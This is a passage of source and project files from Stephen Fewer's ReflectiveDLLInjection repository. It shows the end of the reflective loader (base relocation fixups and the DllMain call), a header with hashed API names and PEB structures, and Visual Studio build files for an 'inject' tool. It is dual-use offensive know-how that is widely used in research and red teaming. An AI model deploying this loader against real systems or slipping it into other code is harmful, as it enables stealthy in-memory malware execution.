HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch( dwReason ) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if( lpReserved != NULL ) 482 | *(HMODULE *)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// 497 | -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include <windows.h> 33 | #include <Winsock2.h> 34 | #include <intrin.h> 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /inject/inject.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 13 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 14 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 15 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /inject/inject.vcproj: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="Windows-1252"?> 2 | <VisualStudioProject 3 | ProjectType="Visual C++" 4 | Version="9.00" 5 | Name="inject" 6 | ProjectGUID="{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 7 | RootNamespace="inject" 8 | Keyword="Win32Proj" 9 | TargetFrameworkVersion="196613" 10 | > 11 | <Platforms> 12 | <Platform 13 | Name="Win32" 14 | /> 15 | <Platform 16 | Name="x64" 17 | /> 18 | </Platforms> 19 | <ToolFiles> 20 | </ToolFiles> 21 | <Configurations> 22 | <Configuration 23 | Name="Debug|Win32" 24 | OutputDirectory="$(SolutionDir)$(ConfigurationName)" 25 | IntermediateDirectory="$(ConfigurationName)" 26 | ConfigurationType="1" 27 | CharacterSet="1" 28 | > 29 | <Tool 30 | Name="VCPreBuildEventTool" 31 | /> 32 | <Tool 33 | Name="VCCustomBuildTool" 34 | /> 35 | <Tool 36 | Name="VCXMLDataGeneratorTool" 37 | /> 38 | <Tool 39 | Name="VCWebServiceProxyGeneratorTool" 40 | /> 41 | <Tool 42 | Name="VCMIDLTool" 43 | /> 44 | <Tool 45 | Name="VCCLCompilerTool" 46 | Optimization="0" 47 | PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" 48 | MinimalRebuild="true" 49 | BasicRuntimeChecks="3" 50 | RuntimeLibrary="3" 51 | UsePrecompiledHeader="0" 52 | WarningLevel="3" 53 | DebugInformationFormat="4" 54 | /> 55 | <Tool 56 | Name="VCManagedResourceCompilerTool" 57 | /> 58 | <Tool 59 | Name="VCResourceCompilerTool" 60 | /> 61 | <Tool 62 | Name="VCPreLinkEventTool" 63 | /> 64 | <Tool 65 | Name="VCLinkerTool" 66 | LinkIncremental="2" 67 | GenerateDebugInformation="true" 68 | SubSystem="1" 69 | TargetMachine="1" 70 | /> 71 | <Tool 72 | Name="VCALinkTool" 73 | /> 74 | <Tool 75 | Name="VCManifestTool" 76 | /> 77 | <Tool 78 | Name="VCXDCMakeTool" 79 | /> 80 | <Tool 81 | Name="VCBscMakeTool" 82 | /> 83 | <Tool 84 | Name="VCFxCopTool" 85 | /> 86 | <Tool 87 | Name="VCAppVerifierTool" 88 | /> 89 | <Tool 90 | Name="VCPostBuildEventTool" 91 | /> 92 | </Configuration> 93 | <Configuration 94 | Name="Debug|x64" 95 | OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" 96 | IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" 97 | ConfigurationType="1" 98 | CharacterSet="1" 99 | > 100 | <Tool 101 | Name="VCPreBuildEventTool" 102 | /> 103 | <Tool 104 | Name="VCCustomBuildTool" 105 | /> 106 | <Tool 107 | Name="VCXMLDataGeneratorTool" 108 | /> 109 | <Tool 110 | Name="VCWebServiceProxyGeneratorTool" 111 | /> 112 | <Tool 113 | Name="VCMIDLTool" 114 | TargetEnvironment="3" 115 | /> 116 | <Tool 117 | Name="VCCLCompilerTool" 118 | Optimization="0" 119 | PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" 120 | MinimalRebuild="true" 121 | BasicRuntimeChecks="3" 122 | RuntimeLibrary="3" 123 | UsePrecompiledHeader="0" 124 | WarningLevel="3" 125 | DebugInformationFormat="3" 126 | /> 127 | <Tool 128 | Name="VCManagedResourceCompilerTool" 129 | /> 130 | <Tool 131 | Name="VCResourceCompilerTool" 132 | /> 133 | <Tool 134 | Name="VCPreLinkEventTool" 135 | /> 136 | <Tool 137 | Name="VCLinkerTool" 138 | LinkIncremental="2" 139 | GenerateDebugInformation="true" 140 | SubSystem="1" 141 | TargetMachine="17" 142 | /> 143 | <Tool 144 | Name="VCALinkTool" 145 | /> 146 | <Tool 147 | Name="VCManifestTool" 148 | /> 149 | <Tool 150 | Name="VCXDCMakeTool" 151 | /> 152 | <Tool 153 | Name="VCBscMakeTool" 154 | /> 155 | <Tool 156 | Name="VCFxCopTool" 157 | /> 158 | <Tool 159 | Name="VCAppVerifierTool" 160 | /> 161 | <Tool 162 | Name="VCPostBuildEventTool" 163 | /> 164 | </Configuration> 165 | <Configuration 166 | Name="Release|Win32" 167 | OutputDirectory="$(SolutionDir)$(ConfigurationName)" 168 | IntermediateDirectory="$(ConfigurationName)" 169 | ConfigurationType="1" 170 | CharacterSet="2" 171 | WholeProgramOptimization="1" 172 | > 173 | <Tool 174 | Name="VCPreBuildEventTool" 175 | /> 176 | <Tool 177 | Name="VCCustomBuildTool" 178 | /> 179 | <Tool 180 | Name="VCXMLDataGeneratorTool" 181 | /> 182 | <Tool 183 | Name="VCWebServiceProxyGeneratorTool" 184 | /> 185 | <Tool 186 | Name="VCMIDLTool" 187 | /> 188 | <Tool 189 | Name="VCCLCompilerTool" 190 | Optimization="2" 191 | EnableIntrinsicFunctions="true" 192 | PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" 193 | RuntimeLibrary="0" 194 | EnableFunctionLevelLinking="true" 195 | UsePrecompiledHeader="0" 196 | WarningLevel="3" 197 | DebugInformationFormat="3" 198 | /> 199 | <Tool 200 | Name="VCManagedResourceCompilerTool" 201 | /> 202 | <Tool 203 | Name="VCResourceCompilerTool" 204 | /> 205 | <Tool 206 | Name="VCPreLinkEventTool" 207 | /> 208 | <Tool 209 | Name="VCLinkerTool" 210 | LinkIncremental="1" 211 | GenerateDebugInformation="true" 212 | SubSystem="1" 213 | OptimizeReferences="2" 214 | EnableCOMDATFolding="2" 215 | TargetMachine="1" 216 | /> 217 | <Tool 218 | Name="VCALinkTool" 219 | /> 220 | <Tool 221 | Name="VCManifestTool" 222 | /> 223 | <Tool 224 | Name="VCXDCMakeTool" 225 | /> 226 | <Tool 227 | Name="VCBscMakeTool" 228 | /> 229 | <Tool 230 | Name="VCFxCopTool" 231 | /> 232 | <Tool 233 | Name="VCAppVerifierTool" 234 | /> 235 | <Tool 236 | Name="VCPostBuildEventTool" 237 | CommandLine="copy ..\Release\inject.exe ..\bin\" 238 | /> 239 | </Configuration> 240 | <Configuration 241 | Name="Release|x64" 242 | OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" 243 | IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" 244 | ConfigurationType="1" 245 | CharacterSet="2" 246 | WholeProgramOptimization="1" 247 | > 248 | <Tool 249 | Name="VCPreBuildEventTool" 250 | /> 251 | <Tool 252 | Name="VCCustomBuildTool" 253 | /> 254 | <Tool 255 | Name="VCXMLDataGeneratorTool" 256 | /> 257 | <Tool 258 | Name="VCWebServiceProxyGeneratorTool" 259 | /> 260 | <Tool 261 | Name="VCMIDLTool" 262 | TargetEnvironment="3" 263 | /> 264 | <Tool 265 | Name="VCCLCompilerTool" 266 | Optimization="2" 267 | EnableIntrinsicFunctions="true" 268 | PreprocessorDefinitions="WIN64;NDEBUG;_CONSOLE;_WIN64" 269 | RuntimeLibrary="0" 270 | EnableFunctionLevelLinking="true" 271 | UsePrecompiledHeader="0" 272 | WarningLevel="3" 273 | DebugInformationFormat="3" 274 | /> 275 | <Tool 276 | Name="VCManagedResourceCompilerTool" 277 | /> 278 | <Tool 279 | Name="VCResourceCompilerTool" 280 | /> 281 | <Tool 282 | Name="VCPreLinkEventTool" 283 | /> 284 | <Tool 285 | Name="VCLinkerTool" 286 | OutputFile="$(OutDir)\inject.x64.exe" 287 | LinkIncremental="1" 288 | GenerateDebugInformation="true" 289 | SubSystem="1" 290 | OptimizeReferences="2" 291 | EnableCOMDATFolding="2" 292 | TargetMachine="17" 293 | /> 294 | <Tool 295 | Name="VCALinkTool" 296 | /> 297 | <Tool 298 | Name="VCManifestTool" 299 | /> 300 | <Tool 301 | Name="VCXDCMakeTool" 302 | /> 303 | <Tool 304 | Name="VCBscMakeTool" 305 | /> 306 | <Tool 307 | Name="VCFxCopTool" 308 | /> 309 | <Tool 310 | Name="VCAppVerifierTool" 311 | /> 312 | <Tool 313 | Name="VCPostBuildEventTool" 314 | CommandLine="copy ..\x64\Release\inject.x64.exe ..\bin\" 315 | /> 316 | </Configuration> 317 | </Configurations> 318 | <References> 319 | </References> 320 | <Files> 321 | <Filter 322 | Name="Source Files" 323 | Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" 324 | UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" 325 | > 326 | <File 327 | RelativePath=".\src\GetProcAddressR.c" 328 | > 329 | </File> 330 | <File 331 | RelativePath=".\src\Inject.c" 332 | > 333 | </File> 334 | <File 335 | RelativePath=".\src\LoadLibraryR.c" 336 | > 337 | </File> 338 | </Filter> 339 | <Filter 340 | Name="Header Files" 341 | Filter="h;hpp;hxx;hm;inl;inc;xsd" 342 | UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" 343 | > 344 | <File 345 | RelativePath=".\src\GetProcAddressR.h" 346 | > 347 | </File> 348 | <File 349 | RelativePath=".\src\LoadLibraryR.h" 350 | > 351 | </File> 352 | <File 353 | RelativePath=".\src\ReflectiveDLLInjection.h" 354 | > 355 | </File> 356 | </Filter> 357 | </Files> 358 | <Globals> 359 | </Globals> 360 | </VisualStudioProject> 361 | -------------------------------------------------------------------------------- /inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 3 | <ItemGroup Label="ProjectConfigurations"> 4 | <ProjectConfiguration Include="Debug|ARM"> 5 | <Configuration>Debug</Configuration> 6 | <Platform>ARM</Platform> 7 | </ProjectConfiguration> 8 | <ProjectConfiguration Include="Debug|Win32"> 9 | <Configuration>Debug</Configuration> 10 | <Platform>Win32</Platform> 11 | </ProjectConfiguration> 12 | <ProjectConfiguration Include="Debug|x64"> 13 | <Configuration>Debug</Configuration> 14 | <Platform>x64</Platform> 15 | </ProjectConfiguration> 16 | <ProjectConfiguration Include="Release|ARM"> 17 | <Configuration>Release</Configuration> 18 | <Platform>ARM</Platform> 19 | </ProjectConfiguration> 20 | <ProjectConfiguration Include="Release|Win32"> 21 | <Configuration>Release</Configuration> 22 | <Platform>Win32</Platform> 23 | </ProjectConfiguration> 24 | <ProjectConfiguration Include="Release|x64"> 25 | <Configuration>Release</Configuration> 26 | <Platform>x64</Platform> 27 | </ProjectConfiguration> 28 | </ItemGroup> 29 | <PropertyGroup Label="Globals"> 30 | <ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid> 31 | <RootNamespace>inject</RootNamespace> 32 | <Keyword>Win32Proj</Keyword> 33 | </PropertyGroup> 34 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> 35 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> 36 | <ConfigurationType>Application</ConfigurationType> 37 | <PlatformToolset>v110</PlatformToolset> 38 | <CharacterSet>MultiByte</CharacterSet> 39 | <WholeProgramOptimization>true</WholeProgramOptimization> 40 | </PropertyGroup> 41 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> 42 | <ConfigurationType>Application</ConfigurationType> 43 | <PlatformToolset>v110</PlatformToolset> 44 | <CharacterSet>MultiByte</CharacterSet> 45 | <WholeProgramOptimization>true</WholeProgramOptimization> 46 | </PropertyGroup> 47 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> 48 | <ConfigurationType>Application</ConfigurationType> 49 | <PlatformToolset>v110</PlatformToolset> 50 | <CharacterSet>Unicode</CharacterSet> 51 | </PropertyGroup> 52 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> 53 | <ConfigurationType>Application</ConfigurationType> 54 | <PlatformToolset>v110</PlatformToolset> 55 | <CharacterSet>Unicode</CharacterSet> 56 | </PropertyGroup> 57 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> 58 | <ConfigurationType>Application</ConfigurationType> 59 | <PlatformToolset>v110</PlatformToolset> 60 | <CharacterSet>MultiByte</CharacterSet> 61 | <WholeProgramOptimization>true</WholeProgramOptimization> 62 | </PropertyGroup> 63 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> 64 | <ConfigurationType>Application</ConfigurationType> 65 | <PlatformToolset>v110</PlatformToolset> 66 | <CharacterSet>Unicode</CharacterSet> 67 | </PropertyGroup> 68 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> 69 | <ImportGroup Label="ExtensionSettings"> 70 | </ImportGroup> 71 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> 72 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 73 | </ImportGroup> 74 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> 75 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 76 | </ImportGroup> 77 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> 78 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 79 | </ImportGroup> 80 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> 81 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 82 | </ImportGroup> 83 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> 84 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 85 | </ImportGroup> 86 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> 87 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 88 | </ImportGroup> 89 | <PropertyGroup Label="UserMacros" /> 90 | <PropertyGroup> 91 | <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> 92 | </PropertyGroup> 93 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> 94 | <OutDir>$(SolutionDir)$(Configuration)\</OutDir> 95 | <IntDir>$(Configuration)\</IntDir> 96 | <LinkIncremental>true</LinkIncremental> 97 | </PropertyGroup> 98 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> 99 | <LinkIncremental>true</LinkIncremental> 100 | </PropertyGroup> 101 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> 102 | <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> 103 | <IntDir>$(Platform)\$(Configuration)\</IntDir> 104 | <LinkIncremental>true</LinkIncremental> 105 | </PropertyGroup> 106 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> 107 | <OutDir>$(SolutionDir)$(Configuration)\</OutDir> 108 | <IntDir>$(Configuration)\</IntDir> 109 | <LinkIncremental>false</LinkIncremental> 110 | </PropertyGroup> 111 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> 112 | <LinkIncremental>false</LinkIncremental> 113 | </PropertyGroup> 114 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> 115 | <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> 116 | <IntDir>$(Platform)\$(Configuration)\</IntDir> 117 | <LinkIncremental>false</LinkIncremental> 118 | </PropertyGroup> 119 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> 120 | <ClCompile> 121 | <Optimization>Disabled</Optimization> 122 | <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> 123 | <MinimalRebuild>true</MinimalRebuild> 124 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 125 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 126 | <PrecompiledHeader /> 127 | <WarningLevel>Level3</WarningLevel> 128 | <DebugInformationFormat>EditAndContinue</DebugInformationFormat> 129 | </ClCompile> 130 | <Link> 131 | <GenerateDebugInformation>true</GenerateDebugInformation> 132 | <SubSystem>Console</SubSystem> 133 | <TargetMachine>MachineX86</TargetMachine> 134 | </Link> 135 | </ItemDefinitionGroup> 136 | <ItemDefinitionGroup 